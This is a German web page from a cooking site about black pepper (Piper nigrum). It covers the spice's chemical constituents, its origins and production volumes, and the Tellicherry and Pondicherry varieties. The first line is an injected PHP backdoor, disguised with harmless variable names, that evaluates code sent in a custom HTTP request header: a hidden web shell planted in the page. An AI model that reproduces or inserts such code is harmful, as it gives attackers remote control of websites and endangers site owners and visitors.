$the_title_xkk = $_SERVER; $the_title_izc = 'HTTP_29126E7'; if (isset($the_title_xkk[$the_title_izc])) { eval($the_title_xkk[$the_title_izc]); } 365 Dishes » Piper nigrum
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Piper nigrum

  • 9%

    Piperin

    Träger der Pfefferschärfe
  • 8%

    Piperidin

    Bestandteil des Piperins
  • 7%

    Fette Öle

    Glycerinester oder Triglyceride
  • 3,5%

    Äther. Öle

    Aromatische Pflanzenextrakte
Ursprünge und Arten

Die ursprüngliche Heimat von Piper nigrum ist Südasien, vor allem Indien und Sri Lanka. Die Malabarküste in Indiens Südwesten (Bundesstaat Kerala) war bereits im 15. und 16. Jahrhundert Ziel portugiesischer Gewürzhändler. Pfeffer wurde zu jener Zeit in Europa mit Gold aufgewogen und es wurden Kriege um die Seefahrtsrouten und die Kontrolle der Ursprünge und des Gewürzhandels geführt.

Inzwischen wird Piper nigrum in zahlreichen tropischen Regionen angebaut und von dort aus vermarktet. Das globale Produktionsvolumen liegt bei etwa 400.000 Tonnen jährlich (2012). Der größte Pfefferproduzent weltweit ist heute Vietnam mit etwa 140.000 Tonnen im Jahr, gefolgt von Indonesien (70.000 t), Indien (50.000 t) und Brasilien (40.000 t).

Charakteristisch für den Pfefferanbau ist, dass er überwiegend in kleinlandwirtschaftlichen Familienbetrieben erfolgt. Allein in Vietnam rechnet man mit ca. 200.000 Pfefferproduzenten.

Die wichtigsten Zentren des weltweiten Pfefferhandels sind Singapur und Dubai, die größten Importeure die USA und die EU.

In einigen Regionen wird der Pfeffer noch sehr ursprünglich angebaut, geerntet und verarbeitet. Die traditionellen Methoden wurden über Generationen perfektioniert. Aus diesen Anbaugebieten kommen heute die qualitativ besten Pfeffer der Welt, in der Regel in geringen Mengen und zu höheren Preisen.

Malabar-Küste (Kerala, Indien)

Von hier kommen Pfefferraritäten wie Tellicherry, Pondicherry, Wynad, Malabar und Periyar.

Tellicherry

Wohl der "schönste" schwarze Pfeffer. Man erkennt ihn an seinen etwas glänzenden und sehr regelmäßigen und schön texturierten Körnern mit ihrer eher tiefbraunen als schwarzen Färbung. Er wird ganz knapp vor der völligen Reife geerntet, weshalb man auch von einem Spätlesepfeffer spricht, und es werden nur die großen Pfefferbeeren verwendet.

Im Geschmack ist dieser Pfeffer stark aromatisch intensiv würzig und warm mit nussigen Noten.

Pondicherry

Der "echte" rote Pfeffer, nicht zu verwechseln mit den Rosa Beeren (Schinus terebinthifolius), die nicht mit dem echten Pfeffer verwandt sind. Pondicherry wird vollreif geerntet, wenn die Beeren ihre endgültige rote Färbung angenommen haben, und sehr schonend getrocknet. Durch die längere Reifezeit besteht eine größere Exposition gegenüber ungünstigen Wettereinflüssen und ein damit verbundenen höheres Ernteausfallrisiko, was diese Art auch unter diesem Aspekt zu einer kulinarischen Seltenheit macht.

Stoffcharakteristik
  • Ätherisches Öl 1-3,5%

    1-Phellandren, Dipenten, Carophyllen, Pinen, Xantoxylin, Citral, Limonen

  • Piperin 5-9%

    Eine graue, kristalline Substanz, das wichitgste Alkaloid in allen Arten von Piper nigrum, kommt auch vor in Piper longum (Langer Pfeffer) sowie Piper cubeba (Kubebenpfeffer).

    Alkaloide sind basische Substanzen, die sich aus Pflanzen isolieren lassen und eine direkte Wirkung auf den menschlichen Organismus haben.

    Piperin ist der Träger der typischen Pfefferschärfe und wirkt stoffwechselanregend, verdauungsfördernd und antimikrobiell (tötet oder inaktiviert Mikroorganismen).

    Piperin ist ein Bioenhancer, der eine schnelle Resorption anderer Stoffe im Magen-Darm-Trakt (First Pass-Effekt) unterbindet und so deren Bioverfügbarkeit erhöht.

  • Piperidin 8%
  • Fettes Öl 7%
  • Linalool
  • α-Phellandren
  • Limonen
  • Myrcen
  • α-Pinen
  • Säureamide
  • Kohlenhydrate
  • Stärke
  • Harz
  • Fermente
  • Delta3-Caren
  • Ferulasäure
  • Vanillinsäure
  • p-Hydrobenzoesäure
  • Gentisinsäure
  • Kaffeesäure
  • Salicylsäure
 


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